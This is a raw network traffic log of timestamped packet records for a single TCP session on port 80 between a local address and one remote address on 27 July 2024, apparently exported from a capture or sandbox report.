Jul 27, 2024 13:31:02.552561045 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.553281069 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553309917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553340912 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.553354025 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553369045 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553384066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553400040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.553406954 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.553433895 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.554294109 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554311037 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554326057 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554342985 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554351091 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.554358959 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554372072 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.554374933 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554392099 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.554413080 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.554431915 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.555264950 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555304050 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555320024 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555335999 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555351019 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555366993 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555377007 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.555382967 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.555404902 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.555440903 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.556289911 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556308031 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556324005 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556340933 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556348085 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.556355953 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556371927 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.556385994 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.556426048 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.557312012 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557328939 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557343960 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557360888 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557372093 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.557375908 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557393074 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557406902 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.557408094 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.557446957 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.557475090 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.558305025 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558322906 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558337927 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558352947 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558368921 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558377028 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.558386087 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558397055 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.558402061 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.558439970 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.559336901 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559353113 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559369087 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559385061 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559392929 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.559401035 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559415102 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.559417963 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.559457064 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.560182095 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560197115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560211897 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560229063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560237885 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.560245037 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560261011 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560264111 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.560276031 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560290098 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.560302973 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.560323954 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.608509064 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.608618975 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.608716011 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.608860970 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.608877897 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.608915091 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.609265089 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.609282017 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.609297991 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.609318018 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.609355927 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.637679100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.637728930 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.637746096 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.637950897 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.638025999 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638042927 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638058901 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638076067 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638098955 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.638125896 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.638681889 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638699055 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638715029 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638731003 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638741016 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.638746977 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638762951 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.638787985 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.638825893 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.639619112 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.639636040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.639651060 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.639667988 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.639681101 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.639735937 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.640125990 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640145063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640160084 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640176058 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640186071 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.640192032 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640207052 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.640228033 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.640266895 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.641128063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641144037 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641159058 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641175032 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641191006 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641206026 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641221046 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.641227961 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.641256094 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.641278982 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.642117977 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642133951 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642149925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642165899 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642180920 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642193079 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.642195940 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642211914 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.642218113 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.642267942 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.643137932 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643153906 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643168926 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643184900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643199921 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643205881 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.643215895 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.643248081 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.644108057 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644123077 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644136906 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644153118 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644167900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644167900 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.644181967 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644187927 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.644197941 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.644233942 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.644262075 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.645138025 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645153999 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645168066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645184040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645198107 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645212889 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.645214081 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645230055 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645241976 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.645288944 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.645921946 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645939112 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645953894 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645970106 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.645982027 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.645986080 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646003008 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646018982 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646025896 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.646061897 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.646089077 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.646859884 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646876097 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646889925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646905899 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646920919 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646936893 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646936893 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.646953106 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.646955967 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.646969080 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647002935 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.647032022 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.647825003 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647840977 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647855997 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647874117 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647886038 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647895098 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647908926 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647913933 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.647924900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.647936106 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.647977114 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.648721933 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648739100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648753881 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648770094 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648786068 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648802042 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648802996 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.648817062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648833036 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.648847103 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.648868084 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.648894072 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.649646997 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649663925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649678946 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649694920 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649710894 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649719000 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.649727106 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649755001 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.649766922 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.649801970 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.650513887 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.650530100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.650544882 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.650559902 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.650569916 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.650576115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.650598049 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.650625944 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.701441050 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.701530933 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.701548100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.701586962 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.701741934 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.701759100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.701801062 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.701993942 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.702009916 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.702049017 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.729921103 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.729965925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.729990959 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.730207920 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730288982 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.730319977 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730336905 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730353117 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730386019 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.730519056 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730571032 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.730674028 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730690002 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730705023 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.730736971 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731075048 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731089115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731103897 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731121063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731137991 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731137991 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731153965 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731168985 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731220961 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731628895 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731683016 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731797934 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731812954 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731828928 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731842995 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731858969 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731863022 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731874943 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731890917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731901884 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731905937 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.731924057 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.731962919 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.732712984 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.732728958 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.732743979 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.732759953 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.732775927 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.732791901 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.732839108 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.733381033 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733397007 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733412981 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733428001 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733436108 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.733442068 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733458996 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733474016 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.733475924 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.733515024 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.733545065 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.734327078 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734343052 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734358072 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734375954 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734389067 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734392881 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.734404087 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734420061 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734430075 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.734436989 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734451056 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.734453917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.734493971 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.735217094 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735233068 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735270023 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.735305071 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735328913 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735344887 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735363007 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735364914 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.735377073 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735394001 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.735395908 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.735430956 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.736212969 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736228943 CEST	80	49705	104.168.45.34	192.168.2.5
